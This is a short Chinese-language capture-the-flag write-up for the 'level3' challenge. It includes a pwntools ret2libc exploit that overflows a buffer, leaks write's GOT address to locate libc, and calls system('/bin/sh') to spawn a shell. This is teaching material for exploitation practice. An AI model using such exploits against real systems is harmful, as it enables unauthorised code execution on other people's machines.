11_level3

1检查安全机制

图片.png

2.IDA找敏感字符串（没找到），我们想到libc文件或许存在

图片.png

我们利用got和plt的关系，我们可以获取到他的偏移地址。 确定我们的system的地址。

got表和plt：https://blog.csdn.net/qq_18661257/article/details/54694748

EXP

本地测试可以，提交不了

from pwn import*

p = process('./level3')
#p = remote("111.198.29.45"," 31727")

elf = ELF('./level3')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

write_plt = elf.plt['write']
print "write:" + hex(write_plt)

write_got = elf.got['write']
print "write_got" + hex(write_got)

write_libc = libc.symbols['write']
print "write_libc" + hex(write_libc)

system_libc = libc.symbols['system']
print "system_libc" + hex(system_libc)

vulnerable_function_addr = 0x804844B

p.recv()
payload = 'A' * 140 + p32(write_plt) + p32(vulnerable_function_addr)
payload += p32(1)+ p32(write_got )+ p32(4)

p.sendline(payload)
wirte_addr = u32(p.recv(4))

print "write"  + hex(wirte_addr)

pause()


offset = wirte_addr - write_libc
system_addr = offset + system_libc
libc_bin_sh_addr = libc.search("/bin/sh").next()
bin_sh_addr = offset + libc_bin_sh_addr

print "bin_sh_addr " + hex(bin_sh_addr )

payload = 140 * 'A' + p32(system_addr) + p32(vulnerable_function_addr )
payload += p32(bin_sh_addr)

p.sendline(payload)
p.interactive()

EXP2 后续iong